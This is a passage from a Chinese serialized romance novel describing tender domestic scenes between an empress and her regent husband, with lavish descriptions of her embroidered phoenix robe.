慕容嫣微微转动身体,?喇叭袖轻摆,珠玉轻鸣,?拖尾上的百凤流光溢彩,她看着镜中那个被极致华美包裹、尊贵得不似凡尘中人的自己,轻轻吸了一口气。连她自己,有时都会被这身衣袍的重量与寓意所震慑。 寝殿门被轻轻推开,处理完最后一批紧急公务的林臻走了进来。他已换上一身墨绫缎常服,长发微湿,带着沐浴后的清新水汽。 当他踏入殿内,看到盛装而立、在辉煌灯火下仿佛汇聚了天地间所有光华与尊贵的慕容嫣时,即便是早已习惯她绝世容光的他,也不由自主地停下了脚步,眼中闪过无法掩饰的惊艳与深深的震撼。 他挥手,所有宫女无声敛衽,垂首躬身,鱼贯退下,轻轻合上殿门。 偌大的寝殿内,只剩下他们二人,以及那满殿生辉的百凤与几乎望不到尽头的墨色镶宝拖尾。 林臻缓缓走上前,他的脚步踩在那华丽无匹的拖尾边缘,小心翼翼,如同踏在星河之上。他走到她身后,透过镜面,凝视着她。 “每次见你穿上它,”他的声音低沉,带着一丝不易察觉的沙哑,“我都觉得,即便是将天下所有的珍宝都堆砌于此,也不及你万分之一的光彩。” 慕容嫣从镜中回望他,唇角微微扬起一抹清浅却动人的弧度,?喇叭袖下的手轻轻抬起,指尖拂过袖口冰凉的珍珠流苏:“太重了…仿佛将整个江山都穿在了身上。” “这江山,本就是你的。”林臻自后环住她,下颌轻抵她的发顶,手臂小心翼翼地避开那些坚硬的宝石镶嵌,只轻柔地落在柔软的缎面上。 他的拥抱,于这极致尊荣的华服而言,是一种温柔的亵渎,也是一种无声的宣告——无论她身着何物,拥有何等身份,她首先,是他的妻。 慕容嫣放松地靠进他怀里,感受着身后传来的温暖与坚实,那被沉重衣袍包裹下的心,渐渐安定柔软下来。 她微微侧头,脸颊蹭过他质料细腻的衣襟:“今日朝上,为了漕运改海之事,他们又争了许久…我听着,只觉得头疼…” 她的声音里带着一丝不易察觉的疲惫与依赖。白日里,她便是穿着这身袍服的简化朝服版本,端坐于龙椅之上,听着臣工们为各种新政争辩不休。 那三丈拖尾铺陈于御阶,是权力的象征,也是无形的束缚。 林臻的手臂微微收紧,声音里带着抚慰:“都过去了。些须小事,不必萦怀。日后若觉得烦了,便如今天这般,交由我来决断便可。” 他从不介意将她护在身后,替她挡去所有风雨与烦忧。 “嗯…”慕容嫣轻轻应了一声,闭上眼,享受着他怀抱的温暖与安全。有他在,那些纷繁复杂的朝政、那些争执不休的声音,似乎都变得遥远而不重要了。 两人相拥着,静静站立了片刻。林臻微微俯身,手臂穿过她的腿弯与后背,小心地避开那华丽却沉重的拖尾的核心受力点,一个用力,竟将她稳稳地抱了起来。 “呀!”慕容嫣轻呼一声,下意识地搂住他的脖颈。?宽大的喇叭袖垂落,拂过他的手臂。 林臻抱着她,一步步走向那张巨大无比的龙床。那长达三丈的拖尾随之被拖曳移动,其上绣着的百凤仿佛活了过来,在地毯上缓缓游动,宝石与金线在灯光下划出流光溢彩的轨迹,景象瑰丽梦幻至极。 他将她轻轻放在床沿坐下,自己则单膝跪地在她面前,伸手握住她一只赤足。她的足踝纤细白皙,与墨黑袍摆形成强烈对比,脚趾圆润,染着鲜红的丹蔻。 “走了一日,累了吧?”他低声问,指尖力度适中地揉按着她足底的穴位。 细腻的肌肤相触,带来一阵酥麻的暖意。慕容嫣脸颊微红,脚趾下意识地蜷缩了一下,想要抽回,却被他温柔而坚定地握住。 “夫君…别…”她声音细若蚊蚋,带着羞意。纵然早已夫妻多年,他这般带着虔诚意味的亲近,总让她心跳加速。 林臻却不容她退缩,仔细地为她按摩双足,舒缓着穿着沉重礼鞋站立许久的疲惫。他的动作专注而温柔,仿佛在对待世间最珍贵的宝物。 殿内灯火通明,映照着女帝陛下华美威严的百凤墨袍与三丈镶宝拖尾,也映照着摄政王殿下此刻略显卑微却无比温柔的举动。极致的尊荣与极致的亲密,在此刻诡异又和谐地交融在一起。 良久,他才抬起头,对她微微一笑,起身坐在她身旁,很自然地将她揽入怀中,让她靠在自己肩上。 “睡吧,嫣儿。”他低声呢喃,手指轻轻梳理着她披散下来的青丝,“我在这儿。” 慕容嫣安心地阖上眼,鼻尖萦绕着他身上清冽的气息与殿内淡淡的龙涎香。那身沉重华贵的百凤墨袍依旧穿在身上,?三丈拖尾依旧铺满床榻之下,但在他温暖的怀抱里,她只觉得无比安心与宁静。 权力的重量,江山的责任,似乎都在这一刻,被这温柔的夜色与他沉稳的心跳声,悄然融化了。 第849章 不开眼的 时近黄昏,日头西斜,金色的余晖透过摄政王府主寝殿那整面墙的剔透琉璃窗,漫洒进来,将殿内的一切都镀上了一层温暖而慵懒的光晕。 地龙早已调至最适宜的温度,空气中弥漫着一种名贵的、由龙脑、沉香与初绽白梅冷香调和而成的安神香息,甜而不腻,清雅宜人。 在这片奢华与宁静交织的空间里,慕容嫣正慵懒地倚靠在窗边一张极其宽大的贵妃软榻上。 她身上所穿,并非寻常女子的寝衣或常服,依旧是那身已然成为她第二层肌肤、象征着她无上尊荣与林臻极致宠溺的玄黑色百凤墨袍睡裙。 极致玄黑的底色,在夕阳金辉下呈现出一种深邃如宇宙星辰的质感,吸吮着光线,却又自内部折射出幽蓝与暗紫的微光,神秘而高贵。 ?袍服之上,那一百只以无数珍稀金银彩线、采用绝世绣工织就的凤凰,在斜阳的照射下,仿佛被注入了生命。 每一片羽毛都闪烁着不同的光彩,赤金、玫金、淡金、银白、紫金…交织流淌,凤凰的眼眸以细小红蓝宝石镶嵌,灼灼有光,随着她极其细微的呼吸起伏,那些凤凰竟似在墨色云锦的宇宙中缓缓翱翔、流转,活物一般。 ?宽大无比的喇叭袖铺陈在榻上的墨绿色孔雀绒软垫上,袖口边缘缀着的细密黑珍珠流苏,被夕阳点亮,泛着温润的光泽。 而那长达三丈、与袍服连为一体、毫无接缝的巨型墨色镶宝拖尾,并未如朝会时那般由宫女精心铺展,而是带着一种居家的随意,慵懒地自榻沿蜿蜒垂落,一部分堆叠在榻下的长毛地毯上,一部分则如同墨色河流般,漫延过光洁如镜的金丝楠木地板,其上的宝石镶嵌(黑钻、墨玉、深蓝宝)在夕阳下闪烁着低调却不容忽视的璀璨星点。 她并未绾发,如瀑青丝尽数披散下来,有些铺在孔雀绒靠垫上,有些则流泻于那墨袍的百凤图案之上,黑白分明,惊心动魄。她赤着足,一双玉足从层叠的墨色袍摆下探出,纤巧秀美,脚踝玲珑,微微蜷缩着,蹭着身下柔软的绒垫。 慕容嫣的手中并未拿着奏章或账本,而是捧着一本新搜罗来的前朝孤本山水画谱,看得颇为入神。?喇叭袖微微滑落,露出一截雪白的小臂,指尖纤细,轻轻点着画页上的某处题跋。 林臻进来时,看到的便是这般景象。 他处理完公务,换了一身云水蓝色的广袖常服,墨发以一根简单的羊脂玉簪半绾,周身透着些许疲惫,却在踏入殿门、看到眼前这一幕时,所有疲惫顷刻间化为乌有,只剩下满腔的柔软与惊艳。 他的脚步放得极轻,生怕惊扰了这幅静谧绝美的画面。他走到榻边,极其自然地在榻沿坐下,位置正好是那三丈拖尾蔓延的起点。 他并未立刻出声,只是目光温柔地流连于她被夕阳柔化的侧脸,流连于她墨袍上那些仿佛在呼吸的凤凰,流连于她散落的青丝与微蜷的玉足。 似是感受到了他的目光,慕容嫣从画谱中抬起头,侧眸望来。 见到是他,她清冷绝艳的容颜上立刻绽开一抹暖融的笑意,宛如冰河解冻,春回大地。 “夫君回来了。”她声音带着一丝慵懒的沙哑,天然妩媚。 “嗯,”林臻应着,伸手极其自然地替她将一缕滑落颊边的青丝挽到耳后,指尖不经意擦过她细腻的耳廓,“看什么如此入神?” 慕容嫣将画谱往他那边挪了挪,?喇叭袖拂过他的手臂:“前朝李大家的《千岩万壑图》摹本,你看这山石的皴法,真是绝了…” 她兴致勃勃地指给他看,眼中闪烁着纯粹欣赏的光芒。 林臻对画技虽通却不精,但他喜欢看她这般模样,喜欢她眼中因为喜爱之物而亮起的光彩。他顺着她的指尖看去,配合地点头:“确是精妙。嫣儿喜欢,明日我便让人去寻李大家的真迹。” 慕容嫣闻言,嗔怪地睨了他一眼:“夫君又来了,真迹岂是那般好寻的?有这摹本赏玩,我已很是知足了。” 她说着,放下画谱,身子软软地朝他倚靠过去。 林臻笑着张开手臂,将她揽入怀中。 她身上那件墨袍触感冰凉丝滑,其上绣着的金凤羽翼微微硌人,却更显得怀中的温香软玉真实可贵。 他低头,下颌轻蹭着她散发着冷梅香气的发顶:“我的嫣儿如今倒是越发容易知足了。” 慕容嫣在他怀里找了个舒适的位置,像只餍足的猫儿般蹭了蹭,?宽大的喇叭袖搭在他的腿上,袖口的珍珠流苏轻轻晃动。 她仰起脸,下巴抵着他的胸膛,眼神娇俏:“那夫君待如何?莫非要我做个不知足的女子,日日向你讨要星星月亮不成?” “你若真要,我便去摘。”林臻低头,目光深邃地看着她,语气半是玩笑半是认真。 慕容嫣被他看得脸颊微热,心中甜丝丝的,却故意哼了一声:“油嘴滑舌…” 说着,她伸出喇叭袖下的手,指尖轻轻戳了戳他的胸膛, “今日朝上,为了西境屯田新政,李老御史又差点和兵部尚书吵起来,真是…” 她似是想抱怨,却又不知如何形容,最终只是蹙了蹙精致的黛眉。 林臻握住她捣乱的手指,放在掌心捏了捏:“些许争执,无妨。新政推行,总有阻力,他们吵他们的,我们做我们的。不必为此烦心。” 他的语气沉稳而笃定,带着一种能安抚人心的力量。 慕容嫣听着,便觉得那点小小的烦躁顿时烟消云散。她反手与他十指相扣,轻声问:“那…夫君已有决断了?” “嗯。”林臻淡淡应了一声,并不欲多谈政事,只道,“放心,一切有我。” 慕容嫣便真的不再问,安心地靠回他怀里。她对他有着全然的、近乎盲目的信任。 夕阳渐渐沉入远山,殿内的电石灯自动渐次亮起,柔和的光线取代了自然的余晖,将殿内照耀得依旧明亮却更添温馨。 林臻似乎想起什么,从袖中取出一个仅有拇指大小、通体莹白的羊脂玉盒,盒盖上雕着一只展翅欲飞的微型凤凰,栩栩如生。 “这是?”慕容嫣好奇地看着。 “格物院那帮小子弄出来的小玩意儿,”林臻打开玉盒,里面是莹润半透明的膏体,散发着清雅的桂花甜香, “说是叫什么‘润手凝脂’,用了什么新法提炼的花油,比寻常的香膏更细腻滋润些。我瞧着味道不错,拿来给你试试。” 慕容嫣眼睛微亮,伸出喇叭袖下那双保养得极好、却因冬日偶尔仍觉干燥的纤手。 林臻却并未将玉盒递给她,而是用指尖蘸了一点乳白色的凝脂,拉过她的手,亲自为她涂抹起来。 他的动作轻柔而仔细,从指尖到指缝,再到手背、手腕,每一寸肌肤都不放过,仿佛在对待一件稀世珍宝。 微凉的膏体在他温热的指尖化开,涂抹在皮肤上,带来细腻滋润的触感,桂花的甜香淡淡萦绕开来。 慕容嫣微微红了脸,却没有抽回手,任由他服务。她的目光落在两人交叠的手上,他麦色的、指节分明的手,与她雪白的、纤细柔美的手,形成鲜明对比,却又异常和谐。 “夫君如今…倒像是我的梳妆宫女了…”她小声嘟囔,语气里却是藏不住的欢喜。 林臻低笑,为她涂好一只手,又拉过另一只:“能伺候我的女帝陛下,是她们的福气,也是我的福气。” 两只手都涂抹完毕,桂花甜香淡淡萦绕。林臻并未松开她的手,而是就着这个姿势,低头,在她柔腻的手背上轻轻落下一个吻。 唇瓣温热,触感轻柔。 慕容嫣的心尖猛地一颤,如同被羽毛轻轻搔过,一股酥麻感自手背迅速蔓延至全身,脸颊瞬间绯红如霞。她下意识地想要抽回手,却被他握得更紧。 “夫君…”她声音微颤,眼波流转间,媚意横生。 林臻抬起头,深邃的眼眸中映着她羞红的容颜,眸色渐深。他并未言语,只是缓缓低下头,目标是她那微微张开的、如樱桃般诱人的红唇。 慕容嫣下意识地闭上了眼睛,长睫轻颤,如同蝶翼。 就在他的唇即将落下之际,殿外忽然传来极轻的叩门声,以及总管小心翼翼的通禀:“王爷,陛下,晚膳已备好,是否此刻传膳?” 旖旎的气氛瞬间被打破。 慕容嫣猛地睁开眼,如同受惊的小鹿,一下子从林臻怀里坐直了身子,脸颊红晕未退,眼神闪烁。 林臻动作一顿,眼中闪过一丝被打断的不悦,但很快消散。他深吸一口气,压下心头躁动,声音恢复平稳:“传吧。” 他低头,看着身旁人儿羞窘的模样,忍不住又轻笑出声,伸手替她理了理微乱的衣襟和发丝,指尖拂过她滚烫的耳垂,低声道:“晚膳后再继续?” 慕容嫣羞得无以复加,?喇叭袖下的手轻轻捶了他一下:“用膳!” 晚膳摆在了寝殿旁的暖厅。 菜肴精致,皆是慕容嫣平日所好。用膳时,那长达三丈的拖尾被侍女小心地拢起,置于特制的、铺着软缎的鎏金架子上,以免沾染尘埃。 膳后,慕容嫣有些倦了,倚着林臻,昏昏欲睡。林臻便屏退左右,将她打横抱起,走向龙床。那墨色镶宝的拖尾再次被拖曳移动,在身后划出华丽而慵懒的轨迹。 他将她轻轻放在床榻之上,自己也和衣躺下,将她连人带那身华丽沉重的墨袍一起拥入怀中。 “睡吧,嫣儿。”他轻拍她的背,如同安抚孩童。 慕容嫣在他怀里蹭了个舒适的位置,闻着他身上令人安心的气息,很快便沉入梦乡。?百凤墨袍在寝被间铺展,金线闪烁,宝石生辉,而她安静的睡颜,是这极致奢华中最动人的风景。 林臻凝视她许久,才在她额间印下一吻,一同睡去。 殿外月色如水,殿内温暖如春,?墨色凤凰栖息于安宁的梦乡之中。 第850章 是曦光更眷顾我的嫣儿 晨曦微露,金红色的朝霞透过寝殿最高处那几扇采用最新玻璃工艺打造的、近乎无色的透明琉璃窗,斜斜地洒入殿内,驱散了最后一缕夜色,将空气中漂浮的细微尘埃都染成了金粉。 地龙经过一夜的燃烧,将殿内烘得暖意融融,与窗外清晨的微寒形成了温柔的对比。 巨大的凤床之上,鲛绡帐幔并未完全垂下,而是用金色的鸾鸟帐钩挽起一半。 慕容嫣犹在睡梦之中。 她身上所穿,依旧是那件玄黑色百凤墨袍睡裙。 在晨光的爱抚下,这件极致华贵的衣袍展现出与夜间截然不同的风貌。 极致玄黑的底料,在清亮晨光的照射下,褪去了些许夜晚的深邃神秘,反而显露出一种厚重如墨玉般的温润质感。?其上以无数珍稀丝线绣就的一百只凤凰,在朝阳的映照下彻底苏醒,每一片羽毛都闪烁着鲜活夺目的光彩。 赤金线绣成的凤冠灼灼如燃烧的火焰,玫瑰金线与银线交织出的羽翼层次分明,仿佛下一刻便要振翅高飞,那些镶嵌于凤眸之中的细小红蓝宝石,更是折射出璀璨如星辰的光芒,将整个床榻映照得流光溢彩。 ?宽大无比的喇叭袖因着她的睡姿,一只手臂微微屈起,袖口铺散在枕畔,另一只则软软地搭在锦被之外。袖口边缘那细密如星辰的黑珍珠流苏,在晨光下泛着柔和温润的光泽。而那长达三丈、与袍服连为一体、毫无接缝的巨型墨色镶宝拖尾,则占据了床榻内侧的大片区域。 它并未被刻意整理,而是带着夜宿后的几分慵懒褶皱,如同一条墨色的河流,蜿蜒流淌于明黄色的云锦寝被之间,其上镶嵌的黑钻、墨玉与深蓝宝石,在晨曦中闪烁着低调却无比夺目的细碎光芒,仿佛将整条银河都披覆在了寝榻之上。 慕容嫣云鬓微乱,几缕青丝沾在白皙的颊边,长睫如蝶翼般静谧地垂着,呼吸均匀。那身沉重华贵的凤袍与她恬静的睡颜奇异地融合在一起,极致的尊荣与纯粹的安宁,构成一幅动人心魄的画面。 林臻早已醒来,他侧卧着,一手支颐,目光一瞬不瞬地凝视着身旁熟睡的人儿。他仅着一身素绸寝衣,墨发披散,神情是外人绝难得见的全然的放松与宠溺。 他小心翼翼地伸出手指,极轻极轻地拂开她颊边的发丝,指尖流连过她细腻的肌肤,最终落在她墨袍领口处一只正引颈高歌的金凤刺绣之上,感受着那繁复精致的凹凸纹路。 他的动作虽轻,却还是惊扰了她。 慕容嫣长睫微颤,缓缓睁开惺忪的睡眼。初醒的眸子里带着几分迷蒙的水汽,对上他专注温柔的视线。 “夫君…”她刚醒的声音带着浓浓的鼻音,软糯诱人,下意识地朝他怀里蹭了蹭。?宽大的喇叭袖随之移动,拂过他的手臂。 “吵醒你了?”林臻低声问道,手臂环过她的腰肢,将她往自己怀里带了带。那墨袍冰凉丝滑的触感与她身体的温热形成奇妙对比。 慕容嫣摇摇头,在他怀里找了个更舒适的位置,懒懒地不想动弹。晨光透过琉璃窗,在她脸上投下柔和的光影,她微微眯起眼,像只餍足的猫儿。 “什么时辰了?” “还早,今日无大朝会,可以再懒一会儿。”林臻低头,吻了吻她的发顶,鼻尖萦绕着她发间清冷的香气与墨袍上淡淡的龙涎香混合的气息。 两人相拥着,享受这静谧温馨的晨光。慕容嫣渐渐清醒,玩心忽起。她伸出喇叭袖下纤长的手指,轻轻戳了戳林臻的胸膛,又划过他寝衣的盘扣,最后落在他线条清晰的下颌上,指尖感受着那微微刺手的胡茬。 林臻任由她作乱,眼底笑意加深,捉住她调皮的手指,放在唇边轻轻咬了一下。 慕容嫣轻笑着抽回手,又将被角往下拉了拉,露出更多墨袍上华美的刺绣:“夫君你看,这只凤凰的眼睛,是不是比昨日更亮了些?” 她指着胸前一只展翅凤凰的红宝石眼眸。 “是曦光更眷顾我的嫣儿。”林臻从善如流,指尖抚过那粒宝石,目光却始终流连于她因刚醒而泛着淡淡红晕的脸颊。 慕容嫣抿唇一笑,显然对他的回答很是受用。她忽然想起什么,?喇叭袖下的手轻轻推了推他:“夫君,我渴了。” 林臻失笑,却毫不犹豫地起身。他并未唤宫女,而是亲自走到床榻不远处的紫檀木圆桌前。 桌上设有一套格物院最新烧制的琉璃茶具,晶莹剔透,旁边还有一个利用小型蒸汽原理保温的银壶。他倒了一杯温度正好的蜂蜜桂花茶。 回到床边,他并未直接将茶盏递给她,而是自己先尝了一口试了试温度,这才小心地扶起她,将茶盏递到她唇边。 慕容嫣就着他的手,小口啜饮着温甜的茶水,?喇叭袖滑落,露出半截如玉小臂。喝完水,她舔了舔唇瓣,心满意足地重新窝回他怀里。 “还想睡?”林臻将她连人带被揽住,低声问。 慕容嫣摇摇头,却又不想起,只是赖在他怀里,把玩着他寝衣的衣带,?喇叭袖的边缘轻轻扫过他的锁骨。“夫君,今日做什么?” “今日无事,只在府中陪你。”林臻把玩着她一缕长发,“嫣儿想做什么?” “嗯…”慕容嫣歪着头想了想,眼神忽然一亮,“夫君前日不是说,格物院又送来了新制的十二花神香露?我们去暖阁试试?” 林臻自然无有不应:“好。先用早膳,然后去试香。” 他又陪她赖了一会儿床,直到阳光彻底照亮寝殿,才唤了宫女进来伺候起身。 宫女们鱼贯而入,见到龙床上相拥的帝后,以及那铺满床榻、在晨光下璀璨生辉的百凤墨袍与三丈镶宝拖尾,皆屏息静气,垂眸不敢直视,动作轻柔地开始忙碌。 慕容嫣在林臻的搀扶下起身,那沉重的拖尾被宫女们极其小心地捧起。她并不需要自己费力行走,几乎是被宫女们簇拥着,移动着那长达三丈的墨色河流,走向梳妆台。 梳妆台同样极尽奢华,水银镜清晰无比。林臻并未离开,而是挥退了欲上前伺候梳妆的宫女,自己拿起一把象牙梳,站在慕容嫣身后,为她梳理那一头如瀑青丝。 他的动作并不如宫女熟练,却极其耐心温柔。慕容嫣透过镜子看着他专注的神情,嘴角始终噙着一抹甜蜜的笑意。 梳妆完毕,他并未为她选择那些繁复沉重的头饰,只簪了一支简洁的赤金点翠凤凰步摇,与她身上的墨袍相得益彰。 早膳传到了寝殿旁的暖厅。依旧是林臻亲自喂她吃了几样她最爱的小点,其间自然又是少不了腻歪与轻笑。 用罢早膳,慕容嫣终于彻底清醒,兴致勃勃地拉着林臻要去暖阁试香。她站起身,那长达三丈的拖尾再次如同拥有生命般,在她身后迤逦铺开。她习惯性地向前迈步,却忘了这居家的袍服虽比朝服轻软,?拖尾却依旧沉重冗长。 刚走出两步,脚下一滞,竟是踩到了拖尾的边缘,身形一个趔趄。 “小心!”林臻一直留意着她,眼疾手快地伸手揽住她的腰,将她稳稳扶住。 慕容嫣惊魂甫定,抓住他的手臂,低头看着自己踩到的墨色袍角,嗔怪道:“这衣裳…好看是好看,就是太碍事了…” 林臻低头看着她微窘的娇俏模样,忍不住低笑出声,手臂微微用力,竟是直接将她打横抱了起来。 “呀!”慕容嫣轻呼,下意识地搂住他的脖颈,“夫君!” “既然碍事,那为夫便代劳了。”林臻笑得胸膛震动,抱着她,稳步向暖阁走去。那长达三丈的墨色拖尾垂落而下,曳地而行,其上百凤翱翔,宝石生辉,在晨光中划出一道流动的、极致奢华的风景。 宫女们早已习以为常,皆垂首躬身,安静地跟随在后,小心地托起那拖尾的末端,以免其完全拖地。 慕容嫣将泛红的脸颊埋进他颈窝,听着他沉稳的心跳,感受着他怀抱的温暖,心中那点小小的抱怨早已烟消云散,只剩下满满的、几乎要溢出来的甜蜜。 晨光正好,将相拥的两人与那逶迤的墨色凤凰一同笼罩,温暖而缱绻。 第851章 霓裳羽衣曲 午后阳光正好,透过摄政王府暖阁那整面墙的、近乎无色的透明琉璃窗,将室内烘得暖意融融,与窗外初春微寒的清风形成了温柔的对比。 地龙早已调至最适宜的温度,空气中弥漫着一种名贵的、由龙脑、沉香与初绽白梅冷香调和而成的安神香息,甜而不腻,清雅宜人。 在这片奢华与宁静交织的空间里,慕容嫣正慵懒地倚靠在一张极其宽大的、铺着墨绿色孔雀绒软垫的贵妃榻上。 她身上所穿,并非寻常女子的寝衣或常服,依旧是那身已然成为她第二层肌肤、象征着她无上尊荣与林臻极致宠溺的玄黑色百凤墨袍睡裙。 极致玄黑的底色,在明媚春光的照射下,呈现出一种深邃如子夜寒潭的质感,吸吮着光线,却又自内部折射出幽蓝与暗紫的微光,神秘而高贵。? 袍服之上,那一百只以无数珍稀金银彩线、采用绝世绣工“盘金蹙绒”织就的凤凰,在充足的光线下,仿佛被注入了生命。 每一片羽毛都闪烁着不同的光彩,赤金、玫金、淡金、银白、紫金…交织流淌,凤凰的眼眸以细小的红宝石、蓝宝石或猫眼石镶嵌,灼灼有光,随着她极其细微的呼吸起伏,那些凤凰竟似在墨色云锦的宇宙中缓缓翱翔、流转,活物一般。 ?宽大无比的喇叭袖铺陈在榻上的软垫,袖口边缘缀着的细密黑珍珠流苏,被阳光点亮,泛着温润的光泽。而那长达三丈、与袍服连为一体、毫无接缝的巨型墨色镶宝拖尾。 并未如朝会时那般由宫女精心铺展,而是带着一种居家的随意,慵懒地自榻沿蜿蜒垂落,一部分堆叠在榻下的长毛地毯上,一部分则如同墨色河流般,漫延过光洁如镜的金丝楠木地板,其上的宝石镶嵌(黑钻、墨玉、深蓝宝)在阳光下闪烁着低调却不容忽视的璀璨星点。 她并未绾发,如瀑青丝尽数披散下来,有些铺在孔雀绒靠垫上,有些则流泻于那墨袍的百凤图案之上,黑白分明,惊心动魄。 她赤着足,一双玉足从层叠的墨色袍摆下探出,纤巧秀美,脚踝玲珑,微微蜷缩着,蹭着身下柔软的绒垫。 慕容嫣的手中并未拿着奏章或账本,而是捧着一本新搜罗来的前朝孤本花鸟画谱,看得颇为入神。?喇叭袖微微滑落,露出一截雪白的小臂,指尖纤细,轻轻点着画页上的某处钤印。 林臻进来时,看到的便是这般景象。 他刚与工部官员议完事,换了一身雨过天青色的广袖常服,墨发以一根简单的羊脂玉簪半绾,周身还带着些许书房里的墨香与微尘气息。 却在踏入暖阁、看到眼前这一幕时,所有疲惫与烦扰顷刻间化为乌有,只剩下满腔的柔软与惊艳。 他的脚步放得极轻,生怕惊扰了这幅静谧绝美的画面。他走到榻边,极其自然地在榻沿坐下,位置正好是那三丈拖尾蔓延的起点。 他并未立刻出声,只是目光温柔地流连于她被阳光柔化的侧脸,流连于她墨袍上那些仿佛在呼吸的凤凰,流连于她散落的青丝与微蜷的玉足。 似是感受到了他的目光,慕容嫣从画谱中抬起头,侧眸望来。见到是他,她清冷绝艳的容颜上立刻绽开一抹暖融的笑意,宛如冰河解冻,春回大地。 “夫君回来了。”她声音带着一丝慵懒的沙哑,天然妩媚。 “嗯,”林臻应着,伸手极其自然地替她将一缕滑落颊边的青丝挽到耳后,指尖不经意擦过她细腻的耳廓,“看什么如此入神?” 慕容嫣将画谱往他那边挪了挪,?喇叭袖拂过他的手臂:“前朝恽南田的没骨花卉小品,你看这花瓣的渲染,真是清透灵动,仿佛带着露水…” 她兴致勃勃地指给他看,眼中闪烁着纯粹欣赏的光芒。 林臻对画技虽通却不精,但他喜欢看她这般模样,喜欢她眼中因为喜爱之物而亮起的光彩。他顺着她的指尖看去,配合地点头:“确是精妙。笔致秀逸,气韵生动。嫣儿喜欢,明日我便让人去寻恽南田的真迹。” 慕容嫣闻言,嗔怪地睨了他一眼:“夫君又来了,真迹岂是那般好寻的?有这精印的册子赏玩,我已很是知足了。” 她说着,放下画谱,身子软软地朝他倚靠过去。 林臻笑着张开手臂,将她揽入怀中。 她身上那件墨袍触感冰凉丝滑,其上绣着的金凤羽翼微微硌人,却更显得怀中的温香软玉真实可贵。他低头,下颌轻蹭着她散发着冷梅香气的发顶:“我的嫣儿如今倒是越发容易知足了。” 慕容嫣在他怀里找了个舒适的位置,像只餍足的猫儿般蹭了蹭,?宽大的喇叭袖搭在他的腿上,袖口的珍珠流苏轻轻晃动。 她仰起脸,下巴抵着他的胸膛,眼神娇俏:“那夫君待如何?莫非要我做个不知足的女子,日日向你讨要星星月亮不成?” “你若真要,我便去摘。”林臻低头,目光深邃地看着她,语气半是玩笑半是认真。 慕容嫣被他看得脸颊微热,心中甜丝丝的,却故意哼了一声:“油嘴滑舌…” 说着,她伸出喇叭袖下的手,指尖轻轻戳了戳他的胸膛, “今日…没人来烦夫君吧?” 她似是想关心,却又不知从何问起。 林臻握住她捣乱的手指,放在掌心捏了捏:“没有。今日清净,正好陪你。” 他并不欲多谈那些繁琐政务,只想享受这难得的静谧时光。 他的语气沉稳而笃定,带着一种能安抚人心的力量。慕容嫣听着,便觉得安心。她反手与他十指相扣,轻声问:“那…夫君今日一直陪我?” “一直陪你。”林臻保证道,低头吻了吻她的指尖。 夕阳渐渐西沉,殿内的电石灯自动渐次亮起,柔和的光线取代了自然的余晖,将殿内照耀得依旧明亮却更添温馨。 林臻似乎想起什么,从袖中取出一个细长的紫檀木盒,盒面上以螺钿嵌出一幅精致的鸾凤和鸣图。 “这是?”慕容嫣好奇地看着。 “前几日番邦进贡的,说是叫什么‘八音盒’。”林臻打开木盒,里面并非珠宝,而是一个造型精巧的鎏金机械装置,上面站着两个栩栩如生、正在对舞的小小金人。 “拧动发条,便能自行奏乐,小人也会旋转。” 他说着,小心地拧动了盒子侧面的钥匙。 一阵轻微悦耳的机括声后,清脆叮咚的乐音流淌出来,那两个小金人果然随着音乐缓缓旋转起舞,姿态优美。 慕容嫣惊讶地睁大了美眸,?喇叭袖下的手微微捂住了唇:“这…这是如何做到的?竟无人演奏…” 她眼中充满了惊奇,甚至有一丝不易察觉的警惕,对于这种过于精巧、仿佛拥有自己生命的机械造物,她总有些本能的戒备。 林臻看出她的不安,将音乐盒拿远了些,声音放得更柔:“只是机括之力,预先设置好的。与钟表类似,并非活物。” 他耐心解释,试图化解她那点小小的恐惧。 慕容嫣仔细看了看那旋转的小人,又听了听那虽然清脆却略显单调重复的音乐,紧绷的神情才稍稍放松,但依旧没有伸手去碰,只是小声评价:“…音律倒是清脆,只是…少了些人气。” 她还是更喜欢真人演奏的丝竹管弦。 林臻笑了笑,并不勉强,将音乐盒合上,放到一旁:“不喜欢便不收着。明日让乐坊来府中,为你演奏新排的《霓裳羽衣曲》。” 慕容嫣这才展颜,眼中露出期待:“真的?” “自然是真的。”林臻保证道。 这时,宫女们悄无声息地奉上晚膳。因在暖阁,膳食并未大摆筵席,而是几样精致的点心小菜,并一壶温好的桂花酿。 用膳时,慕容嫣那长达三丈的拖尾被侍女小心地拢起,置于特制的、铺着软缎的鎏金架子上。林臻依旧如常,亲自为她布菜,偶尔还会将她喜欢的点心直接喂到她唇边。 慕容嫣也习惯了这般亲密,就着他的手小口吃着,?喇叭袖轻掩,眼波流转间,皆是风情。 膳后,慕容嫣有些倦了,倚着林臻,昏昏欲睡。林臻便屏退左右,将她打横抱起。那墨色镶宝的拖尾再次被拖曳移动,在身后划出华丽而慵懒的轨迹。 他没有走向床榻,而是抱着她走到窗边的贵妃榻上坐下,让她舒服地窝在自己怀里。晚风透过微开的窗隙送入清凉,吹动着喇叭袖的边缘。 “夫君,”慕容嫣在他怀里蹭了蹭,声音带着浓浓的睡意,“唱曲给我听吧…就像小时候嬷嬷唱的那样…” 林臻失笑,他哪里会唱什么哄睡的曲儿。但看着她依赖的模样,心软成一滩春水。他清了清嗓子,低声哼起一首模糊记忆里的、调子简单的江南童谣。 他的嗓音低沉,并不婉转,甚至有些走调,却带着无比的温柔与耐心。 慕容嫣在他不成调的哼唱中,嘴角弯起甜甜的弧度,渐渐沉入梦乡。?百凤墨袍在暮色灯下铺展,金线闪烁,宝石生辉,而她安静的睡颜,是这极致奢华中最动人的风景。 林臻凝视她许久,才在她额间印下一吻,一同在这暖阁的榻上相拥而眠。那长达三丈的墨色拖尾,如同守护的羽翼,温柔地覆盖着相拥的两人。 殿外月色如水,殿内温暖如春,?墨色凤凰栖息于安宁的梦乡之中。 第852章 林臻唱歌 夜色深沉,如墨的天幕上星子稀疏,一轮清冷的弦月悬于飞檐翘角之上,向恢弘的摄政王府洒下淡淡的、如水般的银辉。 王府主寝殿内却温暖如春,地龙无声地散发着融融暖意,数盏镶嵌于壁柱与穹顶的电石灯调节至最柔和的光线,将殿内的一切都笼罩在一片朦胧而温馨的光晕之中。 慕容嫣并未安寝。 她独自一人,静静立于那面巨大的紫晶穿衣镜前。 镜中映出的,是她身着那身玄黑色百凤墨袍睡裙的身影。极致玄黑的底料在柔和的灯光下,仿佛能吸收一切光线,呈现出一种近乎深渊般的质感,却又自最深处折射出点点幽蓝与暗紫的微光,神秘而高贵。 